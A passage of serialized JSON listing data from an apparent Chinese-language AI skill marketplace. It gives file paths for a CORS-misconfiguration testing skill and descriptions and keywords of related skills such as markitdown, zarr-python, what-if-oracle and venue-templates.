testing-cors-misconfiguration","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Ftesting-cors-misconfiguration\u002FSKILL.md",true,[92,97,103],{"path":93,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Ftesting-cors-misconfiguration\u002FLICENSE",{"path":98,"resourceType":99,"resourceTypeDesc":100,"sizeBytes":101,"sourceHtmlUrl":102},"references\u002Fapi-reference.md","REFERENCE","参考文档",2188,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Ftesting-cors-misconfiguration\u002Freferences\u002Fapi-reference.md",{"path":104,"resourceType":105,"resourceTypeDesc":106,"sizeBytes":107,"sourceHtmlUrl":108},"scripts\u002Fagent.py","SCRIPT","脚本",8804,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Ftesting-cors-misconfiguration\u002Fscripts\u002Fagent.py",[110,151,160,169,191,217],{"skillNo":111,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":131,"publishedAt":47},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[117,120,123,126],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":124,"categoryName":125,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":127,"categoryName":128,"taxonomyType":129,"taxonomyTypeDesc":130},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[112,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","files","youtube","with",{"skillNo":152,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":159,"publishedAt":47},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[155,156,157,158],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":127,"categoryName":128,"taxonomyType":129,"taxonomyTypeDesc":130},[112,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150],{"skillNo":161,"name":112,"nameZh":6,"description":113,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":162,"categories":163,"keywords":168,"publishedAt":47},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[164,165,166,167],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":127,"categoryName":128,"taxonomyType":129,"taxonomyTypeDesc":130},[112,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150],{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":175,"publishedAt":47},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[176,177,178,179,180,181,182,183,184,185,186,187,188,189,190],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":192,"name":193,"nameZh":6,"description":194,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":195,"categories":196,"keywords":198,"publishedAt":47},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[197],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[199,200,201,202,203,204,205,206,207,208,209,143,144,210,211,212,213,214,215,216],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":221,"categories":222,"keywords":233,"publishedAt":47},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[223,226,229,230],{"categoryNo":224,"categoryName":225,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":227,"categoryName":228,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":231,"categoryName":232,"taxonomyType":129,"taxonomyTypeDesc":130},"01JBSEEDCAT000000000000036","内容创作者",[234,235,236,237,238,239,240,241,140,38,143,144,145,242,243,244,245,246,190,247],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","proposals","Academic","requirements","formatting","journal","chi"]